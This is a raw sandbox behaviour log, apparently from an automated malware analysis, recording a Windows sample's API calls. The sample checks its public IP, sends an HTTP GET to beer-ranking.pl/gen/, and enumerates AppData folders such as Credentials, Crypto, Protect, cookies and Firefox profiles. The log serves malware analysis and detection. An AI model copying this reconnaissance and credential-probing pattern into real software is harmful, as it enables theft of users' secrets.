Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = Client, type = REG_SZ True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings True 1
Fn
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM True 1
Fn
DNS Resolve Name host = v4.ident.me, address_out = 176.58.123.25, service = 0 True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Connect remote_address = 176.58.123.25, remote_port = 443 True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 115, size_out = 115 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 85, size_out = 85 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 2498, size_out = 2498 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4, size_out = 4 True 1
Fn
Data
Socket Send flags = NO_FLAG_SET, size = 326, size_out = 326 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1, size_out = 1 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 48, size_out = 48 True 1
Fn
Data
System Open Certificate Store encoding_type = 65537, flags = 8708 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time, value_name = TZI, type = REG_BINARY True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time\Dynamic DST True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time\Dynamic DST, value_name = FirstEntry, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time\Dynamic DST, value_name = FirstEntry, data = 2007, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time\Dynamic DST, value_name = LastEntry, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time\Dynamic DST, value_name = LastEntry, data = 2008, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time\Dynamic DST, value_name = 2007, type = REG_BINARY True 2
Fn
Data
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time\Dynamic DST, value_name = 2008, type = REG_BINARY True 2
Fn
Data
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time, value_name = MUI_Display, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time, value_name = MUI_Display, data = @tzres.dll,-670, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time, value_name = MUI_Std, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time, value_name = MUI_Std, data = @tzres.dll,-672, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time, value_name = MUI_Dlt, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\AUS Eastern Standard Time, value_name = MUI_Dlt, data = @tzres.dll,-671, type = REG_SZ True 1
Fn
Module Load module_name = C:\Windows\system32\en-US\tzres.dll.mui, base_address = 0xe20001 True 3
Fn
Socket Send flags = NO_FLAG_SET, size = 101, size_out = 101 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 352, size_out = 352 True 1
Fn
Data
System Sleep duration = 0 milliseconds (0.000 seconds) True 100
Fn
Thread 0xad0
(Host: 570, Network: 12)
+
Category Operation Information Success Count Logfile
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM True 1
Fn
DNS Resolve Name host = beer-ranking.pl, address_out = 82.221.129.19, service = 0 True 1
Fn
Socket Connect remote_address = 82.221.129.19, remote_port = 80 True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 69, size_out = 69 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = beer-ranking.pl, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /gen/ True 1
Fn
Inet Send HTTP Request headers = host: beer-ranking.pl, connection: Keep-Alive, url = beer-ranking.pl/gen/ True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 479 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 479 True 1
Fn
Data
System Sleep duration = 0 milliseconds (0.000 seconds) True 50
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0\Collab, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0\Forms, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0\JavaScripts, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Flash Player, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Flash Player\AssetCache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Headlights, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Linguistics, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Linguistics\Dictionaries, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\LogTransport2, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Identities, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Identities\{31810C36-5D23-4CCE-A3B4-316DED195C38}, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\AddIns, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\CLView, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\CLView\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Credentials, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Crypto, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Crypto\RSA, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1534390919-4215197118-2202912847-1000, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Document Building Blocks, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Document Building Blocks\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Excel, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Excel\XLSTART, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IME12, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP10, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP12, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP8_1, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP9_0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\0FHKRMGG, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\34YFITI6, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\4ERT46Z6, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\5XG08RN1, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MMC, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MS Project, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MS Project\12, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MS Project\12\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network\Connections, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network\Connections\Pbk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Office, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Office\Recent, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Outlook, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Proof, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Protect, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Protect\S-1-5-21-1534390919-4215197118-2202912847-1000, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Protect\S-1-5-21-3111613574-2524581245-2586426736-500, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Publisher, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Speech, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Speech\Files, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Speech\Files\UserLexicons, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Templates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\UProof, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Cookies, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Cookies\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IECompatCache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IECompatCache\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IETldCache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IETldCache\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Libraries, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Network Shortcuts, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Printer Shortcuts, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\PrivacIE, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\PrivacIE\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Recent, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\SendTo, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu\Programs, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Templates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Themes, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Word, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Word\STARTUP, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Extensions, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Crash Reports, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default\bookmarkbackups, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default\indexedDB, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default\indexedDB\moz-safe-about+home, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default\indexedDB\moz-safe-about+home\idb, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default\indexedDB\moz-safe-about+home\idb\818200132aebmoouht, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default\minidumps, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Mozilla\Firefox\Profiles\p7ap74gw.default\webapps, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0\Collab, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0\Forms, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Acrobat\10.0\JavaScripts, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Flash Player, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Flash Player\AssetCache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Headlights, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Linguistics, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\Linguistics\Dictionaries, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Adobe\LogTransport2, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Identities, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Identities\{31810C36-5D23-4CCE-A3B4-316DED195C38}, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\AddIns, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\CLView, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\CLView\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Credentials, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Crypto, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Crypto\RSA, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1534390919-4215197118-2202912847-1000, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Document Building Blocks, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Document Building Blocks\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Excel, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Excel\XLSTART, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IME12, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP10, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP12, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP8_1, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\IMJP9_0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\0FHKRMGG, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\34YFITI6, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\4ERT46Z6, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\5XG08RN1, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MMC, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MS Project, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MS Project\12, type = file_attributes True 1
Fn
